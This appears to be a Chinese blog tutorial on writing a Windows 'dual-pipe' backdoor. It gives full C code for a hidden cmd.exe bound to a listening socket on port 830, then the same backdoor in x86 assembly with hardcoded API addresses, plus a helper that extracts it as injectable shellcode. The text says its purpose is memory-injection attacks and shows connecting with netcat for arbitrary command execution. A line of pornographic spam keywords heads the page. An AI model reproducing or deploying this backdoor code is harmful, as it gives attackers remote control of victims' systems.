最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

1.6 編寫雙管道ShellCode

2023-08-29 12:40 作者:bili_42682284418  | 我要投稿

本文將介紹如何將CMD綁定到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令行界面下與其他程序進(jìn)行交互,我們將從創(chuàng)建管道、啟動(dòng)進(jìn)程、傳輸數(shù)據(jù)等方面對(duì)這個(gè)功能進(jìn)行詳細(xì)講解。此外,本文還將通過使用匯編語言一步步來實(shí)現(xiàn)這個(gè)可被注入的ShellCode后門,并以此提高代碼通用性。最終,我們將通過一個(gè)實(shí)際的漏洞攻擊場(chǎng)景來展示如何利用這個(gè)后門實(shí)現(xiàn)內(nèi)存注入攻擊。

1.6.1 什么是匿名管道

首先管道(Pipe)是一種IPC機(jī)制,用于在同一臺(tái)計(jì)算機(jī)上進(jìn)行進(jìn)程間通信。它可以讓一個(gè)進(jìn)程將數(shù)據(jù)寫入到管道中,然后另一個(gè)進(jìn)程可以從管道中讀取這些數(shù)據(jù)。一般而言管道可以分為匿名管道(Anonymous Pipe)或命名管道(Named Pipe)兩種形式。

  • ??匿名管道是一種臨時(shí)的管道,只能用于父子進(jìn)程之間或兄弟進(jìn)程之間的通信。它是一個(gè)雙向的、無名的、半雙工的通道,只能在創(chuàng)建它的進(jìn)程及其子進(jìn)程之間進(jìn)行通信。

  • ??命名管道是一種具有名稱的管道,可以用于在不同的進(jìn)程之間進(jìn)行通信。命名管道可以在不同的進(jìn)程之間共享,并可以在多個(gè)進(jìn)程之間傳遞數(shù)據(jù)。它可以是單向的或雙向的,可以使用同步或異步方式進(jìn)行通信。

在實(shí)現(xiàn)中,管道通常是由操作系統(tǒng)提供的一段共享內(nèi)存區(qū)域。在管道創(chuàng)建時(shí),操作系統(tǒng)會(huì)為管道分配一段內(nèi)存區(qū)域,該內(nèi)存區(qū)域由創(chuàng)建管道的進(jìn)程和與其通信的進(jìn)程共享。當(dāng)進(jìn)程往管道中寫入數(shù)據(jù)時(shí),數(shù)據(jù)會(huì)被存儲(chǔ)在管道的內(nèi)存緩沖區(qū)中,然后等待另一個(gè)進(jìn)程從管道中讀取數(shù)據(jù)。當(dāng)另一個(gè)進(jìn)程讀取管道中的數(shù)據(jù)時(shí),數(shù)據(jù)將從內(nèi)存緩沖區(qū)中被讀取并且被刪除,從而保證數(shù)據(jù)傳輸?shù)恼_性和可靠性。

有了管道的支持,我們向其他進(jìn)程傳輸數(shù)據(jù)時(shí)就可像對(duì)普通文件讀寫那樣簡單。管道操作的標(biāo)識(shí)符是HANDLE句柄,當(dāng)管道被正確創(chuàng)建時(shí)則,我們可以直接使用ReadFile、WriteFile等文件讀寫函數(shù)來讀寫它,讀者無需了解網(wǎng)絡(luò)間進(jìn)程間通信的細(xì)節(jié)部分;

一般匿名管道的創(chuàng)建需要調(diào)用CreatePipe()函數(shù)實(shí)現(xiàn),它可以創(chuàng)建一個(gè)管道,并返回兩個(gè)句柄,一個(gè)用于讀取管道數(shù)據(jù),另一個(gè)用于寫入管道數(shù)據(jù)。

CreatePipe函數(shù)的語法如下:

BOOL?CreatePipe(
??PHANDLE?hReadPipe,??????????????????????//?讀取管道數(shù)據(jù)的句柄指針
??PHANDLE?hWritePipe,?????????????????????//?寫入管道數(shù)據(jù)的句柄指針
??LPSECURITY_ATTRIBUTES?lpPipeAttributes,?//?指向安全屬性結(jié)構(gòu)的指針
??DWORD?nSize?????????????????????????????//?管道緩沖區(qū)大小,若為0則使用默認(rèn)大小
)
;

其中,hReadPipehWritePipePHANDLE類型的指針,用于接收讀取和寫入管道的句柄。lpPipeAttributes是指向SECURITY_ATTRIBUTES結(jié)構(gòu)的指針,用于指定管道的安全屬性,通常設(shè)置為NULLnSize是管道緩沖區(qū)的大小,若為0則使用默認(rèn)大小。在使用CreatePipe函數(shù)創(chuàng)建匿名管道后,讀者可以使用WriteFile函數(shù)往管道中寫入數(shù)據(jù),也可以使用ReadFile函數(shù)從管道中讀取數(shù)據(jù)。讀取和寫入管道的操作需要使用相應(yīng)的句柄。

小提示:匿名管道只能在具有親緣關(guān)系的進(jìn)程之間使用,即父子進(jìn)程或兄弟進(jìn)程,通過設(shè)置CreateProcess函數(shù)中的bInheritHandles屬性為True則可實(shí)現(xiàn)父子進(jìn)程,如果需要在不同的進(jìn)程之間使用管道進(jìn)行通信,則應(yīng)該使用命名管道。

接著來簡單介紹一下CreateProcess函數(shù),該函數(shù)用于創(chuàng)建一個(gè)新的進(jìn)程,返回值非0表示成功,為0表示失敗。為了讓2個(gè)進(jìn)程產(chǎn)生父子及繼承關(guān)系,參數(shù)bInheritHandles應(yīng)設(shè)置為True,該函數(shù)的原型如下所示;

BOOL?CreateProcess(
??LPCWSTR???????????????lpApplicationName,??//?可執(zhí)行文件名或者命令行
??LPWSTR????????????????lpCommandLine,??????//?命令行參數(shù)
??LPSECURITY_ATTRIBUTES?lpProcessAttributes,//?進(jìn)程安全屬性
??LPSECURITY_ATTRIBUTES?lpThreadAttributes,?//?線程安全屬性
??BOOL??????????????????bInheritHandles,????//?是否繼承父進(jìn)程的句柄
??DWORD?????????????????dwCreationFlags,????//?進(jìn)程創(chuàng)建標(biāo)志
??LPVOID????????????????lpEnvironment,??????//?新進(jìn)程的環(huán)境塊指針
??LPCWSTR???????????????lpCurrentDirectory,?//?新進(jìn)程的工作目錄
??LPSTARTUPINFO?????????lpStartupInfo,??????//?STARTUPINFO?結(jié)構(gòu)體指針
??LPPROCESS_INFORMATION?lpProcessInformation//?PROCESS_INFORMATION?結(jié)構(gòu)體指針
)
;

實(shí)現(xiàn)匿名管道通信,我們還需要了解最后一個(gè)函數(shù)PeekNamedPipe,該函數(shù)用于檢查命名管道中的是否有數(shù)據(jù),函數(shù)返回值為BOOL類型,如果函數(shù)調(diào)用成功,則返回TRUE,否則返回FALSE

該函數(shù)的原型定義如下所示;

BOOL?PeekNamedPipe(
??HANDLE??hNamedPipe,????????//?命名管道的句柄
??LPVOID??lpBuffer,??????????//?存儲(chǔ)讀取數(shù)據(jù)的緩沖區(qū)
??DWORD???nBufferSize,???????//?緩沖區(qū)的大小
??LPDWORD?lpBytesRead,???????//?實(shí)際讀取的字節(jié)數(shù)
??LPDWORD?lpTotalBytesAvail,?//?管道中可用的字節(jié)數(shù)
??LPDWORD?lpBytesLeftThisMessage?//?下一條消息剩余的字節(jié)數(shù)
)
;

在調(diào)用成功的情況下,lpBytesRead參數(shù)返回實(shí)際讀取的字節(jié)數(shù),lpTotalBytesAvail參數(shù)返回管道中可用的字節(jié)數(shù),lpBytesLeftThisMessage參數(shù)返回下一條消息剩余的字節(jié)數(shù)。如果命名管道為空,則函數(shù)會(huì)阻塞等待數(shù)據(jù)到來,當(dāng)接收到數(shù)據(jù)時(shí)則讀者即可通過調(diào)用ReadFile在管道中讀取數(shù)據(jù),或調(diào)用WriteFile來向管道寫入數(shù)據(jù),至此關(guān)鍵的API函數(shù)已經(jīng)介紹完了;

1.6.2 C語言實(shí)現(xiàn)雙管道后門

其實(shí)匿名管道反彈CMD的工作原理可以理解為,首先攻擊機(jī)發(fā)命令并通過Socket傳給目標(biāo)機(jī)的父進(jìn)程,目標(biāo)機(jī)的父進(jìn)程又通過一個(gè)匿名管道傳給子進(jìn)程,這里的子進(jìn)程是cmd.exe,CMD執(zhí)行命令后,把結(jié)果通過另一個(gè)匿名管道返給父進(jìn)程,父進(jìn)程最后再通過Socket返回給攻擊機(jī),以此則實(shí)現(xiàn)了反彈Shell的目的;

接著我們就來實(shí)現(xiàn)這個(gè)雙向匿名管道功能,在實(shí)現(xiàn)管道之前需要先建立套接字,首先使用WSAStartup函數(shù)初始化Winsock庫,并使用socket函數(shù)創(chuàng)建一個(gè)套接字。然后,使用bind函數(shù)將套接字綁定到特定的IP地址和端口號(hào)。listen函數(shù)將套接字設(shè)置為偵聽傳入的連接,而accept函數(shù)會(huì)一直阻塞直到建立客戶端連接。一旦連接建立,代碼會(huì)返回客戶端的套接字描述符clientFD。

WSADATA?ws;
SOCKET?listenFD;
char?Buff[1024];
int?ret;

//?初始化網(wǎng)絡(luò)通信庫
WSAStartup(MAKEWORD(2,?2),?&ws);

//?建立Socket套接字
listenFD?=?socket(AF_INET,?SOCK_STREAM,?IPPROTO_TCP);

//?配置通信協(xié)議屬性,并監(jiān)聽本機(jī)830端口
struct?sockaddr_in?server;
server.sin_family?=?AF_INET;
server.sin_port?=?htons(830);
server.sin_addr.s_addr?=?ADDR_ANY;

//?開始綁定套接字
ret?=?bind(listenFD,?(sockaddr?*)&server,?sizeof(server));

//?偵聽套接字鏈接
ret?=?listen(listenFD,?2);

//?接受一個(gè)連接
int?iAddrSize?=?sizeof(server);
SOCKET?clientFD?=?accept(listenFD,?(sockaddr?*)&server,?&iAddrSize);

有了套接字功能,則第二步需要?jiǎng)?chuàng)建兩個(gè)PIPE管道,其中第一個(gè)管道用于輸出執(zhí)行結(jié)果,第二個(gè)管道用于輸入命令,把CMD子進(jìn)程輸出句柄用管道1的寫句柄替換,此時(shí)主進(jìn)程就可以通過讀管道1的讀句柄來獲得輸出;另外,我們還要把CMD子進(jìn)程的輸入句柄用2的讀句柄替換,此時(shí)主進(jìn)程就可以通過寫管道2的寫句柄來輸入命令。

其通信過程如下:

  • ??(遠(yuǎn)程主機(jī))←輸入←管道1輸出←管道1輸入←輸出(CMD子進(jìn)程)

  • ??(遠(yuǎn)程主機(jī))→輸出→管道2輸入→管道2輸出→輸入(CMD子進(jìn)程)

SECURITY_ATTRIBUTES?pipeattr1,?pipeattr2;
HANDLE?hReadPipe1,?hWritePipe1,?hReadPipe2,?hWritePipe2;
????
//?建立匿名管道1
pipeattr1.nLength?=?12;
pipeattr1.lpSecurityDescriptor?=?0;
pipeattr1.bInheritHandle?=?true;
CreatePipe(&hReadPipe1,?&hWritePipe1,?&pipeattr1,?0);
????
//?建立匿名管道2
pipeattr2.nLength?=?12;
pipeattr2.lpSecurityDescriptor?=?0;
pipeattr2.bInheritHandle?=?true;
CreatePipe(&hReadPipe2,?&hWritePipe2,?&pipeattr2,?0);

為了得到上述綁定效果,我們?cè)谠O(shè)置CMD子進(jìn)程STARTUPINFO啟動(dòng)參數(shù)時(shí)就應(yīng)該做好綁定工作,通過填入如下所示的變量值,并調(diào)用CreateProcess實(shí)現(xiàn)對(duì)進(jìn)程的綁定,通過替換進(jìn)程的輸出句柄為管道1的寫句柄,輸入句柄為管道2的讀句柄。最后再開啟CMD命令就實(shí)現(xiàn)了綁定功能,代碼如下所示;

//?填充所需參數(shù)實(shí)現(xiàn)子進(jìn)程與主進(jìn)程通信
STARTUPINFO?si;
ZeroMemory(&si,?sizeof(si));
si.dwFlags?=?STARTF_USESHOWWINDOW?|?STARTF_USESTDHANDLES;
si.wShowWindow?=?SW_HIDE;
si.hStdInput?=?hReadPipe2;
si.hStdOutput?=?si.hStdError?=?hWritePipe1;
????
char?cmdLine[]?=?"cmd.exe";
PROCESS_INFORMATION?ProcessInformation;

//?建立進(jìn)程綁定參數(shù)
ret?=?CreateProcess(NULL,?cmdLine,?NULL,?NULL,?1,?0,?NULL,?NULL,?&si,?&ProcessInformation);

當(dāng)CMD子進(jìn)程啟動(dòng)后,則下一步則是和遠(yuǎn)程攻擊機(jī)之間建立通信,如下代碼通過使用PeekNamedPiperecv函數(shù)不斷檢查從遠(yuǎn)程客戶端或CMD進(jìn)程接收到的數(shù)據(jù)。如果從CMD進(jìn)程中有可讀數(shù)據(jù),則使用ReadFile函數(shù)讀取該數(shù)據(jù)并使用send函數(shù)發(fā)送回遠(yuǎn)程客戶端。如果沒有數(shù)據(jù)可讀,則程序接收從遠(yuǎn)程客戶端發(fā)來的命令,并將命令寫入管道2,即傳給CMD進(jìn)程。這個(gè)過程不斷循環(huán)執(zhí)行,直到出現(xiàn)錯(cuò)誤或收到退出命令。

unsigned?long?lBytesRead;
while?(1)
{
????//?檢查管道1?即CMD進(jìn)程是否有輸出
????ret?=?PeekNamedPipe(hReadPipe1,?Buff,?1024,?&lBytesRead,?0,?0);
????if?(lBytesRead)
????{
????????//管道1有輸出?讀出結(jié)果發(fā)給遠(yuǎn)程客戶機(jī)
????????ret?=?ReadFile(hReadPipe1,?Buff,?lBytesRead,?&lBytesRead,?0);
????????if?(!ret)
????????{
????????????break;
????????}

????????ret?=?send(clientFD,?Buff,?lBytesRead,?0);
????????if?(ret?<=?0)
????????{
????????????break;
????????}
????}
????else
????{
????????//?否則接收遠(yuǎn)程客戶機(jī)的命令
????????lBytesRead?=?recv(clientFD,?Buff,?1024,?0);
????????if?(lBytesRead?<=?0)
????????{
????????????break;
????????}
????????//?將命令寫入管道2?即傳給cmd進(jìn)程
????????ret?=?WriteFile(hWritePipe2,?Buff,?lBytesRead,?&lBytesRead,?0);
????????if?(!ret)
????????{
????????????break;
????????}
????}
}

如上代碼所示就是完整的雙向匿名管道的實(shí)現(xiàn)原理,我們通過整合并編譯,打開編譯后的可執(zhí)行程序,此時(shí)讀者可使用netcat工具執(zhí)行nc 127.0.0.1 830則可連接到該后門內(nèi)部,并以此獲得一個(gè)Shell后門,此時(shí)讀者可執(zhí)行任意命令,輸出效果如下圖所示;

1.6.3 匯編實(shí)現(xiàn)并提取ShellCode

在之前文章中我們介紹了如何使用C語言創(chuàng)建一個(gè)雙管道通信后門,而對(duì)于在實(shí)戰(zhàn)中,往往需要直接注入后門到內(nèi)存,此時(shí)將后門轉(zhuǎn)換為ShellCode是一個(gè)不錯(cuò)的選擇,首先為了保證文章的篇幅不宜過長,此處暫且不考慮生成匯編代碼的通用性,首先我們需要得到在當(dāng)前系統(tǒng)中所需要使用的函數(shù)的動(dòng)態(tài)地址,至于如何提取這些動(dòng)態(tài)地址,在之前的文章通用ShellCode提取中有過詳細(xì)的介紹,此處我們就直接給出實(shí)現(xiàn)代碼;

#include?<Windows.h>
#include?<iostream>

typedef?void(*MyProcess)(LPSTR);

int?main(int?argc,?char?*argv[])
{
????HINSTANCE?KernelHandle;
????HINSTANCE?WS2Handle;
????MyProcess?ProcAddr;

????KernelHandle?=?LoadLibrary(L"kernel32");
????printf("kernel32?address?=?0x%x\n",?KernelHandle);

????WS2Handle?=?LoadLibrary(L"ws2_32");
????printf("ws2_32?address?=?0x%x\n\n",?WS2Handle);

????CHAR?*FuncList[13]?=
????{
????????"CreatePipe",?"CreateProcessA",?"PeekNamedPipe",?"WriteFile",?"ReadFile",?"ExitProcess",
????????"WSAStartup",?"socket",?"bind",?"listen",?"accept",?"send",?"recv"
????};

????for?(size_t?i?=?0;?i?<?13;?i++)
????{
????????if?(i?<?6)
????????{
????????????//?輸出kerlen32中的參數(shù)
????????????ProcAddr?=?(MyProcess)GetProcAddress(KernelHandle,?FuncList[i]);
????????????printf("%s?=?0x%x?\n",?FuncList[i],?ProcAddr);
????????}
????????else
????????{
????????????//?輸出ws2中的參數(shù)
????????????ProcAddr?=?(MyProcess)GetProcAddress(WS2Handle,?FuncList[i]);
????????????printf("%s?=?0x%x?\n",?FuncList[i],?ProcAddr);
????????}
????}

????system("pause");
????return?0;
}

當(dāng)讀者運(yùn)行這段程序時(shí),則會(huì)輸出kernel32.dllws2_32.dll的模塊基址,同時(shí)還會(huì)輸出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"這些我們所需要的函數(shù)的內(nèi)存地址,輸出效果如下圖所示;

接著我們需要將這些函數(shù)內(nèi)存地址依次填充到匯編代碼中,將其動(dòng)態(tài)壓入堆棧保存,如下是筆者填充過的匯編代碼片段,此處的十六進(jìn)制數(shù)讀者電腦中的與筆者一定不一致,請(qǐng)讀者自行替換即可;

mov?eax,0x763e2d70
mov?[ebp+4],??eax;???CreatePipe
mov?eax,0x763e2d90
mov??[ebp+8],??eax;??CreateProcessA
mov?eax,0x763e4140
mov??[ebp+12],?eax;??PeekNamedPipe
mov?eax,0x763d35b0
mov??[ebp+16],?eax;??WriteFile
mov?eax,0x763d34c0
mov??[ebp+20],?eax;??ReadFile
mov?eax,0x763d4100
mov??[ebp+24],?eax;??ExitProcess
mov?eax,0x76c29cc0
mov??[ebp+28],?eax;??WSAStartup
mov?eax,0x76c2c990
mov??[ebp+32],?eax;??socket
mov?eax,0x76c2d890
mov??[ebp+36],?eax;??bind
mov?eax,0x76c35d90
mov??[ebp+40],?eax;??listen
mov?eax,0x76c369c0
mov??[ebp+44],?eax;??accept
mov?eax,0x76c358a0
mov??[ebp+48],?eax;??send
mov?eax,0x76c323a0
mov??[ebp+52],?eax;??recv

小提示:STDcall是一種調(diào)用約定,用于指定函數(shù)參數(shù)的傳遞方式、函數(shù)返回值的處理方式以及函數(shù)調(diào)用后堆棧的清理方式,它在Windows平臺(tái)上廣泛使用。該調(diào)用規(guī)定,函數(shù)的參數(shù)從右到左依次入棧,函數(shù)返回值存儲(chǔ)在EAX寄存器中。在函數(shù)調(diào)用后,由調(diào)用方負(fù)責(zé)清理堆棧上的參數(shù),因此被調(diào)用函數(shù)不需要執(zhí)行額外的堆棧清理操作。

在源程序的第一句指令,是執(zhí)行WSAStartup(0x202, &ws)。我們按照32位下函數(shù)的STDCALL調(diào)用規(guī)范,首先將參數(shù)從右至左依次壓入棧中,其中該函數(shù)的第二個(gè)參數(shù)&ws表示一個(gè)地址,因?yàn)閃S地址已經(jīng)不再使用了,所以此處我們就隨意壓入一個(gè)地址即可(比如ESP的值),第一個(gè)參數(shù)時(shí)0x202則此時(shí)我們直接使用push 0x202壓入,至此函數(shù)的參數(shù)已經(jīng)填充完畢了,接下來則是調(diào)用該函數(shù),因WSAStartup的地址保存在[ebp+28]中,所以我們通過call [ebp+28]就可以調(diào)用到該地址啦。

push?esp
push?0x202
call?[ebp?+?28]??????//?WSAStartup地址

接著是原程序中的第二個(gè)函數(shù)Socket(2,1,6)讀者需要先將6、1、2依次入棧,最后再call socket的地址,也就是調(diào)用[ebp + 32]即可實(shí)現(xiàn)調(diào)用。

;?socket(2,1,6)
push?6
push?1
push?2
call?[ebp?+?32]
mov?ebx,?eax???????//?將套接字保存到EBX中

讀者是否會(huì)有疑問,此處為什么會(huì)傳遞這些參數(shù)呢,讀者可在源程序的開頭位置設(shè)置斷點(diǎn),并打開反匯編窗口,觀察建立Socket的參數(shù)傳遞情況,即可一目了然;

接著我們繼續(xù)提取第三個(gè)關(guān)鍵函數(shù)Bind()綁定函數(shù),相比于前兩個(gè)函數(shù)而言,綁定函數(shù)要顯得更加復(fù)雜一些,原因是該函數(shù)需要填充一個(gè)sockaddr_in的結(jié)構(gòu)體變量,所以在填充參數(shù)之前還需要具體分析;

struct?sockaddr_in?server;
server.sin_family?=?AF_INET;
server.sin_port?=?htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr?*)&server,sizeof(server));

我們還是借助VS工具,在bind()函數(shù)上下斷點(diǎn),并打開反匯編窗口(Ctrl+Alt+D),觀察編譯器是如何編譯處理的,如下圖所示;

高級(jí)語言執(zhí)行bind時(shí),首先是將0x10入棧,說明sizeof(server)的參數(shù)傳遞其實(shí)就是0x10

第二個(gè)參數(shù)&serversockaddr_in結(jié)構(gòu)的地址。在sockaddr_in結(jié)構(gòu)中,包括了綁定的協(xié)議、IP、端口號(hào)等值。和在堆棧中構(gòu)造字符串一樣,我們也在棧中構(gòu)造出sockaddr_in的結(jié)構(gòu),那么esp就是sockaddr_in結(jié)構(gòu)的地址了。

為了能夠更好的提取到第二個(gè)參數(shù)的壓入信息,我們需要將調(diào)試器運(yùn)行到listen(listenFD, 2)處,并打開內(nèi)存窗口,輸出&server跳轉(zhuǎn)到當(dāng)前結(jié)構(gòu)體填充位置處,讀者可看到如下內(nèi)存數(shù)據(jù);

從上圖中可看出,如下執(zhí)行后其實(shí)就是得到了02 00 03 3E 00 00 00 00,知道了確切要賦的值,我們就依葫蘆畫瓢,開始?jí)簵?code>push 0x0000,push 0x0000,push 0x3E030002此時(shí)我們就在堆棧中構(gòu)造出了sockaddr_in結(jié)構(gòu)的值,而且esp就正好是結(jié)構(gòu)的地址。我們把它保存給esi作為第二個(gè)參數(shù)壓入堆棧。

好了,剩下就簡單了,最后一個(gè)參數(shù)是socket。上面執(zhí)行了socket()后,我們把socket的值保存在了ebx中,所以將ebx壓入就可以了。最后call調(diào)用函數(shù)。bind函數(shù)地址存放在[ebp + 36]中,將這段匯編代碼結(jié)合起來就像如下所示。

;?bind(listenFD,(sockaddr?*)&server,sizeof(server));
xor?edi,edi????????????????????//?先構(gòu)造server
push?edi
push?edi
mov?eax,0x3E030002

;?port?830?AF_INET
push?eax
mov?esi,?esp???????????????????//?把server地址賦給esi
push?0x10???????????????????????;?length
push?esi????????????????????????;?&server
push?ebx????????????????????????;?socket
call?[ebp?+?36]?????????????????;?bind

好了根據(jù)上述方法,讀者需要依次跟蹤代碼執(zhí)行流程,并嫁給你所需要的參數(shù)依次提取出來,最終將這些參數(shù)組合在一起,即可得到如下方所示的一段匯編代碼片段;

#include?<Windows.h>
#include?<iostream>

int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????LoadLibrary("ws2_32.dll");

????__asm
????{
????????????push?ebp;
????????????sub??esp,?80;
????????????mov??ebp,?esp;

????????//?替換所需函數(shù)地址
????????????mov?eax,?0x763e2d70
????????????mov[ebp?+?4],?eax;???CreatePipe
????????????mov?eax,?0x763e2d90
????????????mov[ebp?+?8],?eax;??CreateProcessA
????????????mov?eax,?0x763e4140
????????????mov[ebp?+?12],?eax;??PeekNamedPipe
????????????mov?eax,?0x763d35b0
????????????mov[ebp?+?16],?eax;??WriteFile
????????????mov?eax,?0x763d34c0
????????????mov[ebp?+?20],?eax;??ReadFile
????????????mov?eax,?0x763d4100
????????????mov[ebp?+?24],?eax;??ExitProcess
????????????mov?eax,?0x76c29cc0
????????????mov[ebp?+?28],?eax;??WSAStartup
????????????mov?eax,?0x76c2c990
????????????mov[ebp?+?32],?eax;??socket
????????????mov?eax,?0x76c2d890
????????????mov[ebp?+?36],?eax;??bind
????????????mov?eax,?0x76c35d90
????????????mov[ebp?+?40],?eax;??listen
????????????mov?eax,?0x76c369c0
????????????mov[ebp?+?44],?eax;??accept
????????????mov?eax,?0x76c358a0
????????????mov[ebp?+?48],?eax;??send
????????????mov?eax,?0x76c323a0
????????????mov[ebp?+?52],?eax;??recv

????????????mov?eax,?0x0
????????????mov[ebp?+?56],?0
????????????mov[ebp?+?60],?0
????????????mov[ebp?+?64],?0
????????????mov[ebp?+?68],?0
????????????mov[ebp?+?72],?0

????????LWSAStartup:
????????;?WSAStartup(0x202,?DATA)

????????????sub?esp,?400
????????????push?esp
????????????push?0x202
????????????call[ebp?+?28]

????????socket:

????????????;?socket(2,?1,?6)
????????????????push?6
????????????????push?1
????????????????push?2
????????????????call[ebp?+?32]
????????????????mov?ebx,?eax;?save?socket?to?ebx

????????????LBind?:

????????????;?bind(listenFD,?(sockaddr?*)&server,?sizeof(server));
????????????????xor?edi,?edi
????????????????push?edi
????????????????push?edi
????????????????mov?eax,?0x3E030002
????????????????push??eax;?port?830??AF_INET
????????????????mov?esi,?esp

????????????????push??0x10;?length
????????????????push?esi;?&server
????????????????push?ebx;?socket
????????????????call[ebp?+?36];?bind

????????????LListen?:

????????????;?listen(listenFD,?2)
????????????????inc?edi
????????????????inc?edi
????????????????push?edi;?2
????????????????push?ebx;?socket
????????????????call[ebp?+?40];?listen

????????????LAccept?:
????????????;?accept(listenFD,?(sockaddr?*)&server,?&iAddrSize)
????????????????push?0x10
????????????????lea??edi,?[esp]
????????????????push?edi
????????????????push?esi;?&server
????????????????push?ebx;?socket
????????????????call[ebp?+?44];?accept
????????????????mov?ebx,?eax;?save?newsocket?to?ebx

????????????Createpipe1?:
????????????;?CreatePipe(&hReadPipe1,?&hWritePipe1,?&pipeattr1,?0);
????????????????xor?edi,?edi
????????????????inc?edi
????????????????push?edi
????????????????xor?edi,?edi
????????????????push?edi
????????????????push?0xc;?pipeattr

????????????????mov?esi,?esp

????????????????push?edi;?0
????????????????push?esi;?pipeattr1
????????????????lea?eax,?[ebp?+?60];?&hWritePipe1
????????????????push?eax
????????????????lea?eax,?[ebp?+?56];?&hReadPipe1
????????????????push?eax
????????????????call[ebp?+?4]

????????????CreatePipe2:
????????????????;?CreatePipe(&hReadPipe2,?&hWritePipe2,?&pipeattr2,?0);
????????????????????push?edi;?0
????????????????????push?esi;?pipeattr2
????????????????????lea?eax,?[ebp?+?68];?hWritePipe2
????????????????????push?eax
????????????????????lea?eax,?[ebp?+?64];?hReadPipe2
????????????????????push?eax
????????????????????call[ebp?+?4]

????????????????CreateProcess:
????????????????????;?ZeroMemory?TARTUPINFO,?10h??PROCESS_INFORMATION??44h
????????????????????????sub?esp,?0x80
????????????????????????lea?edi,?[esp]
????????????????????????xor?eax,?eax
????????????????????????push??0x80
????????????????????????pop?ecx
????????????????????????rep?stosd
????????????????????????;?si.dwFlags
????????????????????????lea?edi,?[esp]
????????????????????????mov?eax,?0x0101
????????????????????????mov[edi?+?2ch],?eax;

????????????????????;?si.hStdInput?=?hReadPipe2?ebp?+?64
????????????????????????mov?eax,?[ebp?+?64]
????????????????????????mov[edi?+?38h],?eax

????????????????????????;?si.hStdOutput?si.hStdError?=?hWritePipe1?ebp?+?60
????????????????????????mov?eax,?[ebp?+?60]
????????????????????????mov[edi?+?3ch],?eax
????????????????????????mov?eax,?[ebp?+?60]
????????????????????????mov[edi?+?40h],?eax

????????????????????????;?cmd.exe
????????????????????????mov?eax,?0x00646d63
????????????????????????mov[edi?+?64h],?eax;?cmd

????????????????????????;?CreateProcess(NULL,?cmdLine,?NULL,?NULL,?1,?0,?NULL,?NULL,?&si,?&ProcessInformation)
????????????????????????lea?eax,?[esp?+?44h]

????????????????????????push?eax;?&pi
????????????????????????push?edi;?&si
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????inc??ecx
????????????????????????push?ecx;?1
????????????????????????dec??ecx
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????lea?eax,?[edi?+?64h];?"cmd"
????????????????????????push?eax
????????????????????????push?ecx;?0
????????????????????????call[ebp?+?8]
????????????????????loop1:

????????????????????????;?while1
????????????????????????????;?PeekNamedPipe(hReadPipe1,?Buff,?1024,?&lBytesRead,?0,?0);
????????????????????????????sub?esp,?400h;
????????????????????????????mov?esi,?esp;?esi?=?Buff
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push?ecx;?0
????????????????????????????lea?edi,?[ebp?+?72];?&lBytesRead
????????????????????????????push?edi
????????????????????????????mov?eax,?400h
????????????????????????????push?eax;?1024
????????????????????????????push?esi;?Buff
????????????????????????????mov?eax,?[ebp?+?56]
????????????????????????????push?eax;?hReadPipe1
????????????????????????????call[ebp?+?12]
????????????????????????????mov?eax,?[edi]
????????????????????????????test?eax,?eax
????????????????????????????jz?recv_command

????????????????????????send_result?:

????????????????????????;?ReadFile(hReadPipe1,?Buff,?lBytesRead,?&lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push?edi;?&lBytesRead
????????????????????????????push[edi];?hReadPipe1
????????????????????????????push?esi;?Buff
????????????????????????????push[ebp?+?56];?hReadPipe1
????????????????????????????call[ebp?+?20]

????????????????????????????;?send(clientFD,?Buff,?lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push[edi];?lBytesRead
????????????????????????????push?esi;?Buff
????????????????????????????push?ebx;?clientFD
????????????????????????????call[ebp?+?48]
????????????????????????????jmp?loop1

????????????????????????recv_command?:

????????????????????????;?recv(clientFD,?Buff,?1024,?0)

????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx
????????????????????????????mov?eax,?400h
????????????????????????????push?eax
????????????????????????????push?esi
????????????????????????????push?ebx
????????????????????????????call[ebp?+?52]
????????????????????????????//lea?ecx,[edi]
????????????????????????????mov[edi],?eax

????????????????????????????;?WriteFile(hWritePipe2,?Buff,?lBytesRead,?&lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx
????????????????????????????push?edi
????????????????????????????push[edi]
????????????????????????????push?esi
????????????????????????????push[ebp?+?68]
????????????????????????????call[ebp?+?16]

????????????????????????????jmp?loop1
????????????????????????end?:
????}
????system("pause");
????return?0;
}

接下來則是提取特征碼,提取時(shí)讀者可以使用如下程序?qū)崿F(xiàn),將上方匯編代碼放入到ShellCodeStart-ShellCodeEnd區(qū)域內(nèi),運(yùn)行后則可提取出特定特征碼參數(shù);

#include?<stdio.h>
#include?<Windows.h>

int?main(int?argc,?char*?argv[])
{
????DWORD?Start,?End,?Len;
????goto?GetShellCode;
????__asm
????{
????ShellCodeStart:
????????????xor?eax,?eax
????????????xor?ebx,?ebx
????????????xor?ecx,?ecx
????????????xor?edx,?edx
????????????int?3
????ShellCodeEnd:
????}

GetShellCode:
????__asm
????{
????????mov?Start,?offset?ShellCodeStart
????????mov?End,?offset?ShellCodeEnd
????}

????Len?=?End?-?Start;
????unsigned?char*?newBuffer?=?new?unsigned?char[Len?+?1024];

????memset(newBuffer,?0,?Len?+?1024);
????memcpy(newBuffer,?(unsigned?char*)Start,?Len);

????for?(size_t?i?=?0;?i?<?Len;?i++)
????{
????????printf("\\x%x",?newBuffer[i]);
????}

????//?直接寫出二進(jìn)制
????/*
????FILE*?fp_bin?=?fopen("d://shellcode.bin",?"wb+");
????fwrite(newBuffer,?Len,?1,?fp_bin);
????_fcloseall();

????//?寫出Unicode格式ShellCode
